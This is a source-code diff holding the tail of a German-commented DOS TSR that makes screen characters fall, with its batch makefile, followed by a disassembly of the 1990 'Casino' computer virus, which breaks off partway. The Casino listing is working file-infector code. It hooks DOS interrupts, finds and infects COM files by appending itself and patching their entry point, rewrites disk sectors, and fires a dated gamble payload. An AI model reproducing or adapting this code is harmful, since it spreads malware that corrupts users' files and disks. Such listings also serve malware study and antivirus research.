; + MOV AL,EOI_8259A ; + OUT PORT_B_8259A,AL ; + MOV AX,[XR_003] ; + CMP AX,0438 ; + JNB XI_051 ; + MOV AX,0438 ; +XI_051: CALL Random ; + INC AX ; + MOV [XR_002],AX ; + MOV [XR_003],AX ; + PUSH DS ; + MOV AX,BIOSDATASEG ; + MOV DS,AX ; + MOV AX,[B_VidPage] ; + POP DS ; + MOV [Page_offset],AX ; + MOV [Last_Line],18 ; + MOV DL,-1 ; + MOV AX,1130 ; + MOV BH,0 ; + SAVE ES,BP ; + INT 10 ; + REST BP,ES ; + CMP DL,-1 ; + JZ XI_052 ; + MOV [Last_Line],DL ; +XI_052: CALL GetSysSpeed ; + MOV AH,0F ; + INT 10 ; + MOV [Num_of_Col],AH ; + MOV [Prevent_Snow?],0 ; + MOV [Seg_of_VRAM],MonoBase ; + CMP AL,07 ; + JZ XI_054 ; + JB XI_053 ; + JMP XI_064 ; +XI_053: MOV [Seg_of_VRAM],ColorBase ; + CMP AL,03 ; + JA XI_054 ; + CMP AL,02 ; + JB XI_054 ; + MOV [Prevent_Snow?],01 ; + MOV AL,[Last_Line] ; + INC AL ; + MUL [Num_of_Col] ; + MOV [Num_of_char],AX ; + MOV AX,[XR_004] ; + CMP AX,[Num_of_char] ; + JBE XI_054 ; + MOV AX,[Num_of_char] ; +XI_054: CALL Random ; + INC AX ; + MOV SI,AX ; +XI_055: XOR DI,DI ; +XI_056: INC DI ; + MOV AX,[Num_of_char] ; + SHL AX,1 ; + CMP DI,AX ; + JBE XI_057 ; + JMP XI_064 ; +XI_057: OR [ISR_Flags],MASK Recf_1 ; + MOV AL,[Num_of_Col] ; + MOV AH,0 ; + CALL Random ; + MOV DL,AL ; + MOV AL,[Last_Line] ; + MOV AH,0 ; + CALL Random ; + MOV DH,AL ; + CALL Load_from_VRAM ; + CALL Is_it_blank_? ; + JB XI_056 ; + CALL Spec_Graphik? ; + JB XI_056 ; + MOV [Last_Pair],AX ; + MOV CL,[Last_Line] ; + MOV CH,0 ; +XI_058: INC DH ; + CMP DH,[Last_Line] ; + JA XI_062 ; + CALL Load_from_VRAM ; + CMP AH,[Last_Attr] ; + JNZ XI_062 ; + CALL Is_it_blank_? ; + JB XI_060 ; +XI_059: CALL Spec_Graphik? ; + JB XI_062 ; + INC DH ; + CMP DH,[Last_Line] ; + JA XI_062 ; + CALL Load_from_VRAM ; + CMP AH,[Last_Attr] ; + JNZ XI_062 ; + CALL Is_it_blank_? ; + JNB XI_059 ; + CALL Toggle_Speaker ; + DEC DH ; + CALL Load_from_VRAM ; + MOV [Last_Char],AL ; + INC DH ; +XI_060: AND [ISR_Flags],NOT MASK Recf_1 ; + DEC DH ; + MOV AL,' ' ; + CALL Write_to_VRAM ; + INC DH ; + MOV AL,[Last_Char] ; + CALL Write_to_VRAM ; + JCXZ XI_061 ; + CALL Delay ; + DEC CX ; +XI_061: JMP XI_058 ; +XI_062: TEST [ISR_Flags],MASK Recf_1 ; + JZ XI_063 ; + JMP XI_056 ; +XI_063: CALL Toggle_Speaker ; + DEC SI ; + JZ XI_064 ; + JMP XI_055 ; +XI_064: IN AL,PORT_B_8255 ; + AND AL,0FC ; + OUT PORT_B_8255,AL ; + MOV AX,3 ; + CALL Random ; + INC AX ; + MUL [XR_004] ; + JNB XI_065 ; + MOV AX,-1 ; +XI_065: MOV [XR_004],AX ; + REST BP,DI,SI,DX,CX,BX,AX,ES,DS ; +XI_066: AND CS:[ISR_Flags],NOT MASK R_in_1c ; +XI_067: JMP DWORD PTR CS:[Org_Int_1C] ; + ; +IF SWITCHABLE ; + ; + comment # +Ŀ + Implementierung eines neuen in CMD_2F definierten internen Befehls. + + # ; +XI_068 Label Near ; +Int_2F_ISR EQU XI_068 + PSPsize ; + CMP AH,0AEH ; + JNZ Int_2F_end ; + CMP DX,-1 ; + JNZ Int_2F_end ; + CMP AL,0 ; + JNZ Int_2F_2nd ; + CALL Decode_2F ; + JNZ Int_2F_end ; + DEC AL ; + IRET ; +Int_2F_2nd: CMP AL,1 ; + JNZ Int_2F_end ; + CALL Decode_2F ; + JNZ Int_2F_end ; + SAVE DS,DX,AX ; + MOV_S DS,CS ; + XOR [ISR_Flags],MASK ExtCom ; + MOV DX,OFFSET MSG_ON ; + TEST [ISR_Flags],MASK ExtCom ; + JZ XI_069 ; + MOV DX,OFFSET MSG_OFF ; +XI_069: MOV AH,9 ; + MSDOS ; + REST AX,DX,DS ; + AND BYTE PTR [SI],0 ; + IRET ; +Int_2F_end: JMP DWORD PTR CS:[Org_Int_2F] ; + comment # +Ŀ + berprfen, ob der in CMD_2F definierte Befehl angesprochen wurde. + + # ; +Decode_2F PROC NEAR ; + SAVE SI,DI,ES,CX ; + MOV CX,05 ; + MOV_S ES,CS ; + MOV DI,OFFSET Cmd_2F ; + CLD ; + REPE CMPSW ; + REST CX,ES,DI,SI ; + RET ; +Decode_2F ENDP ; + ; +ENDIF ; + comment # +Ŀ + Okay, das war's. Zum Schlu noch einige Definitionen. + + # ; +EOFC EQU THIS WORD ; +XR_010 EQU OFFSET EOFC - 1 + FIRSTBASE ; +TEXT ENDS ; +IF2 ;----------------; +%Out +%Out (C) 1990 164A12565AA18213165556D3125C4B962712 ͼ +ENDIF ; +comment # +ͻ + + So knnte ein Batch - Makefile aussehen : + + @cls + @if %1.==. goto nopar + @if not exist %1.asm goto noasm + @ctty nul + @del %1.obj + @del %1.lst + @del %1.crf + @del %1.ref + @del %1.map + @del %1.exe + @del %1.bin + @del _HLV_.COM + @ctty con + @masm /b63 %1,,%1,%1 %2 %3 %4; + @if not exist %1.obj goto masm_err + @link %1,,%1; + @if not exist %1.exe goto link_err + @exe2bin %1; + @if not exist %1.bin goto exe2_err + @cref %1; + @if not exist %1.ref goto cref_err + @echo >> %1.lst + @copy %1.lst+%1.map+%1.ref %1.t > nul + @del %1.lst > nul + @ren %1.t %1.lst > nul + @del %1.obj > nul + @del %1.crf > nul + @del %1.ref > nul + @del %1.map > nul + @del %1.exe > nul + @echo n %1.bin > md.inp + @echo l 11f >> md.inp + @echo a 110 >> md.inp + @echo add cx,20 >> md.inp + @echo. >> md.inp + @echo g =110 113 >> md.inp + @echo f 110 11e 20 >> md.inp + @echo e 110 '%1' >> md.inp + @echo f 100 10f 90 >> md.inp + @echo a 100 >> md.inp + @echo jmp 120 >> md.inp + @echo nop >> md.inp + @echo nop >> md.inp + @echo nop >> md.inp + @echo mov ax,4c00 >> md.inp + @echo int 21 >> md.inp + @echo. >> md.inp + @echo n _HLV_.com >> md.inp + @echo w >> md.inp + @echo q >> md.inp + @debug < md.inp > nul + @cls + @echo. + @echo ͻ + @echo + @echo MAKEHLV erfolgreich beendet, _HLV_.com wurde erstellt. + @echo + @echo ͼ + @echo. + @goto ende + :nopar + @echo FEHLER ! Mindestens ein Parameter ist erforderlich ! + @echo Syntax : MAKEHLV asmfile [switches] + @goto ende + :noasm + @echo FEHLER ! Die Datei %1.ASM ist nicht zu finden ! + @goto ende + :masm_err + @echo FEHLER ! %1.OBJ konnte nicht erstellt werden ! + @goto ende + :link_err + @echo FEHLER ! %1.EXE konnte nicht erstellt werden ! + @goto ende + :exe2_err + @echo FEHLER ! %1.BIN konnte nicht erstellt werden ! + @goto ende + :cref_err + @echo FEHLER ! %1.REF konnte nicht erstellt werden ! + :ende + +ͼ +# +END diff --git a/c/Casino.asm b/c/Casino.asm new file mode 100755 index 0000000..b88bc5f --- /dev/null +++ b/c/Casino.asm @@ -0,0 +1,1428 @@ + +PAGE 59,132 + +; +; +; CASINO +; +; Created: 31-Aug-90 +; Version: +; Passes: 9 Analysis Options on: H +; Copyright S & S International, 1990 +; +; + +data_1e equ 60Ch ; (0000:060C=0) +data_2e equ 60Dh ; (0000:060D=0) +data_3e equ 60Eh ; (0000:060E=0) +data_4e equ 60Fh ; (0000:060F=0) +data_5e equ 610h ; (0000:0610=0) +data_6e equ 611h ; (0000:0611=0) +data_7e equ 612h ; (0000:0612=0) +data_8e equ 2 ; (6AE6:0002=0) +data_10e equ 3Bh ; (6AE6:003B=0) +data_11e equ 3Dh ; (6AE6:003D=0) +data_12e equ 3Fh ; (6AE6:003F=0) +data_13e equ 40h ; (6AE6:0040=0) +data_14e equ 41h ; (6AE6:0041=0) +data_15e equ 43h ; (6AE6:0043=6AE6h) +data_16e equ 45h ; (6AE6:0045=0) +data_17e equ 47h ; (6AE6:0047=6AE6h) +data_18e equ 4Dh ; (6AE6:004D=0) +data_19e equ 68h ; (6AE6:0068=0) +data_20e equ 7Eh ; (6AE6:007E=0) +data_21e equ 80h ; (6AE6:0080=0) +data_33e equ 716Eh ; (6AE6:716E=0) + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +casino proc far + +start: + nop +data_23 db 0E9h +data_24 db 48h +data_25 db 7, 'ello - Copyright S & S Intern' + db 'ational, 1990', 0Ah, 0Dh, '$' + db 1Ah + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AA' + db 0E6h + db 'jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + +casino endp + +; +; +; External Entry Point +; +; + +int_24h_entry proc far + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + inc cx + mov ah,9 + mov dx,offset data_25 ; (6AE6:0103=7) + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + int 20h ; Program Terminate + db 0, 0, 0, 0, 0, 0Fh + db 0, 0, 0E9h, 0D3h, 1, 0E9h + db 0, 0, 0, 90h, 0E9h, 78h + db 2Ah, 2Ah, 2Eh, 43h, 4Fh, 4Dh + db 0 + db 'C:\COMMAND.COM' + db 0, 43h, 4Fh, 4Dh, 4Dh, 41h + db 4Eh, 44h, 0FFh + db 2Eh, 43h, 4Fh, 4Dh + db 15 dup (0) + db 3Fh, 0, 0F0h, 3, 2, 0 + db 0B3h, 4Bh, 0FCh, 91h, 56h, 5 + db 79h, 10h, 0, 0, 0, 0 + db 0, 3 + db 8 dup (3Fh) + db 43h, 4Fh, 4Dh, 3Fh, 8, 0 + db 1Eh, 2, 2Eh, 8Bh, 26h, 68h + db 20h, 0A9h, 8Eh, 1Fh, 15h, 0E8h + db 3, 0, 0 + db 'H1000.COM' + db 9 dup (0) + db 1Fh, 15h, 0A9h, 8Eh, 90h, 90h + db 3Dh, 59h, 4Bh, 75h, 4, 0B8h + db 66h, 6, 0CFh, 80h, 0FCh, 11h + db 74h, 8, 80h, 0FCh, 12h, 74h + db 3, 0EBh, 51h, 90h +loc_2: + cmp al,66h ; 'f' + je loc_4 ; Jump if equal + mov al,66h ; 'f' + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + push ax + push bx + push cx + push dx + push es + mov ah,2Fh ; '/' + int 21h ; DOS Services ah=function 2Fh + ; get DTA ptr into es:bx + mov al,es:[bx+10h] + cmp al,43h ; 'C' + jne loc_3 ; Jump if not equal + mov al,es:[bx+11h] + cmp al,4Fh ; 'O' + jne loc_3 ; Jump if not equal + mov al,es:[bx+12h] + cmp al,4Dh ; 'M' + jne loc_3 ; Jump if not equal + mov ax,es:[bx+24h] + cmp ax,91Ah + jb loc_3 ; Jump if below + sub ax,91Ah + mov cx,ax + push cx + mov cx,10h + mov dx,0 + div cx ; ax,dx rem=dx:ax/reg + pop cx + cmp dx,0 + jne loc_3 ; Jump if not equal + mov es:[bx+24h],cx +loc_3: + pop es + pop dx + pop cx + pop bx + pop ax + iret ; Interrupt return +int_24h_entry endp + +loc_4: + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + mov bx,cs + mov ds,bx + mov al,0 + mov ds:data_18e,al ; (6AE6:004D=0) + mov al,ds:data_13e ; (6AE6:0040=0) + cmp al,0FFh + jne loc_5 ; Jump if not equal + jmp loc_15 ; (06B2) +loc_5: + mov al,0FFh + mov ds:data_13e,al ; (6AE6:0040=0) + cmp ah,4Bh ; 'K' + je loc_6 ; Jump if equal + cmp ah,36h ; '6' + je loc_7 ; Jump if equal + jmp loc_15 ; (06B2) +loc_6: + mov ah,19h + int 21h ; DOS Services ah=function 19h + ; get default drive al (0=a:) + mov ds:data_12e,al ; (6AE6:003F=0) + jmp short loc_8 ; (0624) + db 90h +loc_7: + mov ah,19h + int 21h ; DOS Services ah=function 19h + ; get default drive al (0=a:) + mov ds:data_12e,al ; (6AE6:003F=0) + cmp dl,0 + je loc_8 ; Jump if equal + dec dl + mov ah,0Eh + int 21h ; DOS Services ah=function 0Eh + ; set default drive dl (0=a:) +loc_8: + mov ah,19h + int 21h ; DOS Services ah=function 19h + ; get default drive al (0=a:) + cmp al,1 + ja loc_9 ; Jump if above + mov ch,0 + push ds + pop es + mov bx,917h + mov al,1 + call sub_3 ; (07DB) + mov al,1 + call sub_4 ; (07EC) + cmp ah,0 + je loc_9 ; Jump if equal + jmp short loc_14 ; (069C) + db 90h +loc_9: + mov ah,2Fh ; '/' + int 21h ; DOS Services ah=function 2Fh + ; get DTA ptr into es:bx + mov ds:data_14e,bx ; (6AE6:0041=0) + mov ds:data_15e,es ; (6AE6:0043=6AE6h) + mov dx,4Eh + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + mov dx,0Bh + mov cx,3Fh + mov ah,4Eh ; 'N' + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc loc_14 ; Jump if carry Set + mov dx,6Ch + call sub_1 ; (06EE) + cmp dl,1 + jne loc_10 ; Jump if not equal + call sub_2 ; (073C) + jmp short loc_14 ; (069C) + db 90h +loc_10: + cmp dl,3 + je loc_11 ; Jump if equal + jmp short loc_14 ; (069C) + db 90h +loc_11: + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match + jnc loc_12 ; Jump if carry=0 + jmp short loc_14 ; (069C) + db 90h +loc_12: + mov dx,6Ch + call sub_1 ; (06EE) + cmp dl,1 + jne loc_13 ; Jump if not equal + call sub_2 ; (073C) + jmp short loc_14 ; (069C) + db 90h +loc_13: + cmp dl,3 + je loc_11 ; Jump if equal +loc_14: + mov dl,ds:data_12e ; (6AE6:003F=0) + mov ah,0Eh + int 21h ; DOS Services ah=function 0Eh + ; set default drive dl (0=a:) + mov dx,ds:data_14e ; (6AE6:0041=0) + mov bx,ds:data_15e ; (6AE6:0043=6AE6h) + mov ds,bx + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx +loc_15: + mov ah,0 + mov ds:data_13e,ah ; (6AE6:0040=0) + pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax +;* jmp far ptr loc_1 ;*(0273:1460) + db 0EAh, 60h, 14h, 73h, 2 + db 8Ch, 0CAh, 83h, 0C2h, 10h, 8Eh + db 0DAh, 0BAh, 20h, 0, 0B4h, 41h + db 0CDh, 21h, 0B8h, 21h, 35h, 0CDh + db 21h, 8Ch, 6, 0D4h, 1, 89h + db 1Eh, 0D2h, 1, 0BAh, 82h, 0 + db 0B8h, 21h, 25h, 0CDh, 21h, 0BAh + db 1Bh, 0Ch, 0CDh + db 27h + +; +; SUBROUTINE +; + +sub_1 proc near + mov ax,ds:data_19e ; (6AE6:0068=0) + cmp ax,0F5B9h + ja loc_20 ; Jump if above + mov ax,4300h + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + test cl,4 + jnz loc_20 ; Jump if not zero + test cl,1 + jz loc_16 ; Jump if zero + and cl,0FEh + mov ax,4301h + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx +loc_16: + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + mov bx,ax + mov dx,3 + mov cx,1 + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + jnc loc_17 ; Jump if carry=0 + jmp short loc_19 ; (0732) + db 90h +loc_17: + cmp ax,0 + jne loc_18 ; Jump if not equal + jmp short loc_19 ; (0732) + db 90h +loc_18: + mov al,byte ptr ds:data_8e+1 ; (6AE6:0003=0) + cmp al,90h + jne loc_21 ; Jump if not equal +loc_19: + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle +loc_20: + mov dl,3 + retn +loc_21: + mov dl,1 + retn +sub_1 endp + + +; +; SUBROUTINE +; + +sub_2 proc near + mov ax,5700h + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + mov ds:data_20e,dx ; (6AE6:007E=0) + mov ds:data_21e,cx ; (6AE6:0080=0) + push bx + call sub_5 ; (07FD) + mov bx,68h + mov ax,[bx] + mov dx,0 + mov bx,10h + div bx ; ax,dx rem=dx:ax/reg + inc ax + mov ds:data_10e,ax ; (6AE6:003B=0) + mul bx ; dx:ax = reg * ax + mov ds:data_11e,ax ; (6AE6:003D=0) + pop bx + mov cx,ds:data_10e ; (6AE6:003B=0) + mov si,35Fh + mov [si],cx + mov cx,0 + mov dx,0 + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov dx,605h + mov cx,4 + mov ah,3Fh ; '?' + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + mov cx,0 + mov dx,ds:data_11e ; (6AE6:003D=0) + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov dx,0 + mov cx,91Ah + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + cmp ax,cx + jb loc_22 ; Jump if below + mov al,ds:data_18e ; (6AE6:004D=0) + cmp al,1 + je loc_22 ; Jump if equal + mov cx,0 + mov dx,0 + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + mov si,9 + mov ax,ds:data_11e ; (6AE6:003D=0) + add ax,35Ch + sub ax,4 + mov [si],ax + mov dx,7 + mov cx,4 + mov ah,40h ; '@' + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx +loc_22: + mov dx,ds:data_20e ; (6AE6:007E=0) + mov cx,ds:data_21e ; (6AE6:0080=0) + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle + call sub_6 ; (0813) + retn +sub_2 endp + + +; +; SUBROUTINE +; + +sub_3 proc near + push ax + mov ah,19h + int 21h ; DOS Services ah=function 19h + ; get default drive al (0=a:) + mov dl,al + pop ax + mov dh,0 + mov cl,1 + mov ah,2 + int 13h ; Disk dl=drive #: ah=func b2h + ; read sectors to memory es:bx + retn +sub_3 endp + + +; +; SUBROUTINE +; + +sub_4 proc near + push ax + mov ah,19h + int 21h ; DOS Services ah=function 19h + ; get default drive al (0=a:) + mov dl,al + pop ax + mov dh,0 + mov cl,1 + mov ah,3 + int 13h ; Disk dl=drive #: ah=func b3h + ; write sectors from mem es:bx + retn +sub_4 endp + + +; +; SUBROUTINE +; + +sub_5 proc near + mov ax,3524h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov ds:data_16e,bx ; (6AE6:0045=0) + mov ds:data_17e,es ; (6AE6:0047=6AE6h) + mov dx,335h + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + retn +sub_5 endp + + +; +; SUBROUTINE +; + +sub_6 proc near + mov dx,ds:data_16e ; (6AE6:0045=0) + mov cx,ds:data_17e ; (6AE6:0047=6AE6h) + push ds + push cx + pop ds + mov ax,2524h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + pop ds + retn +sub_6 endp + + db 50h, 53h, 51h, 52h, 1Eh, 6 + db 0B4h, 0, 0CDh, 13h, 0B4h, 1 + db 88h, 26h, 4Dh, 0, 0BFh, 0FFh + db 0FFh, 8Eh, 6, 49h, 0, 8Bh + db 1Eh, 4Bh, 0, 0B0h, 0, 26h + db 88h, 7, 7, 1Fh, 5Ah, 59h + db 5Bh, 58h, 0CFh, 8Ch, 0CAh, 0B9h + db 3Fh, 0, 3, 0D1h, 83h, 0C2h + db 10h, 8Eh, 0DAh, 0A1h, 3Dh, 0 + db 5, 3, 6, 0BBh, 0FEh, 0FFh + db 2Bh, 0D8h, 89h, 1Eh, 3, 6 + db 0BBh, 5, 6, 8Ah, 7, 2Eh + db 0A2h, 0, 1, 43h, 8Ah, 7 + db 2Eh, 0A2h, 1, 1, 43h, 8Ah + db 7, 2Eh, 0A2h, 2, 1, 43h + db 8Ah, 7, 2Eh, 0A2h, 3, 1 + db 0B4h, 2Ah, 0CDh, 21h, 80h, 0FAh + db 0Fh, 74h, 3, 0E9h, 0A2h, 1 +loc_23: + cmp dh,1 + je loc_24 ; Jump if equal + cmp dh,4 + je loc_24 ; Jump if equal + cmp dh,8 + je loc_24 ; Jump if equal + jmp loc_36 ; (0A33) +loc_24: + call sub_8 ; (09EB) + push ds + pop es + mov si,613h + mov di,613h + mov cx,305h + cld ; Clear direction + +locloop_25: + lodsb ; String [si] to al + sub al,64h ; 'd' + stosb ; Store al to es:[di] + loop locloop_25 ; Loop if cx > 0 + + mov dx,613h + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx +loc_26: + mov ah,7 + int 21h ; DOS Services ah=function 07h + ; get keybd char al, no echo + mov byte ptr ds:data_2e,64h ; (0000:060D=0) 'd' + nop + mov byte ptr ds:data_3e,78h ; (0000:060E=0) 'x' + nop + mov byte ptr ds:data_4e,0B4h ; (0000:060F=0) + nop + mov ah,2Ch ; ',' + int 21h ; DOS Services ah=function 2Ch + ; get time, cx=hrs/min, dh=sec + mov bl,dh + mov bh,0 + mov ch,0 + mov dh,0 + add cl,dl + mov ax,cx + mov cl,3 + div cl ; al, ah rem = ax/reg + mov ds:data_5e,ah ; (0000:0610=0) + mov ax,dx + mov dl,3 + div dl ; al, ah rem = ax/reg + mov ds:data_6e,ah ; (0000:0611=0) + mov ax,bx + div dl ; al, ah rem = ax/reg + mov ds:data_7e,ah ; (0000:0612=0) + dec byte ptr ds:data_1e ; (0000:060C=0) + mov al,ds:data_1e ; (0000:060C=0) + add al,30h ; '0' + mov dh,0Dh + mov dl,26h ; '&' + mov bx,0 + mov ah,2 + int 10h ; Video display ah=functn 02h + ; set cursor location in dx + mov ah,0Eh + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode +loc_27: + mov dx,1FFFh +loc_28: + nop + nop + nop + dec dx + jnz loc_28 ; Jump if not zero + mov al,ds:data_2e ; (0000:060D=0) + cmp al,ds:data_5e ; (0000:0610=0) + je loc_29 ; Jump if equal + mov dl,19h + mov al,ds:data_2e ; (0000:060D=0) + call sub_7 ; (09C9) + mov al,ds:data_2e ; (0000:060D=0) + dec al + mov ds:data_2e,al ; (0000:060D=0) +loc_29: + mov al,ds:data_3e ; (0000:060E=0) + cmp al,ds:data_6e ; (0000:0611=0) + je loc_30 ; Jump if equal + mov dl,21h ; '!' + mov al,ds:data_3e ; (0000:060E=0) + call sub_7 ; (09C9) + dec byte ptr ds:data_3e ; (0000:060E=0) +loc_30: + mov al,ds:data_4e ; (0000:060F=0) + cmp al,ds:data_7e ; (0000:0612=0) + je loc_31 ; Jump if equal + mov dl,29h ; ')' + mov al,ds:data_4e ; (0000:060F=0) + call sub_7 ; (09C9) + dec byte ptr ds:data_4e ; (0000:060F=0) +loc_31: + mov al,ds:data_4e ; (0000:060F=0) + cmp al,ds:data_7e ; (0000:0612=0) + jne loc_27 ; Jump if not equal + mov ah,ds:data_3e ; (0000:060E=0) + cmp ah,ds:data_6e ; (0000:0611=0) + jne loc_27 ; Jump if not equal + mov bl,ds:data_2e ; (0000:060D=0) + cmp bl,ds:data_5e ; (0000:0610=0) + jne loc_27 ; Jump if not equal + cmp al,0 + jne loc_32 ; Jump if not equal + cmp ah,0 + jne loc_32 ; Jump if not equal + cmp bl,0 + jne loc_32 ; Jump if not equal + mov dx,80Ah + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + call sub_9 ; (0A18) + jmp short loc_35 ; (09C7) + db 90h +loc_32: + cmp al,1 + jne loc_33 ; Jump if not equal + cmp ah,1 + jne loc_33 ; Jump if not equal + cmp bl,1 + jne loc_33 ; Jump if not equal + mov dx,88Dh + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + jmp short loc_34 ; (09BD) + db 90h +loc_33: + mov al,ds:data_1e ; (0000:060C=0) + cmp al,0 + je loc_34 ; Jump if equal + jmp loc_26 ; (08BF) +loc_34: + mov dx,8D6h + mov ah,9 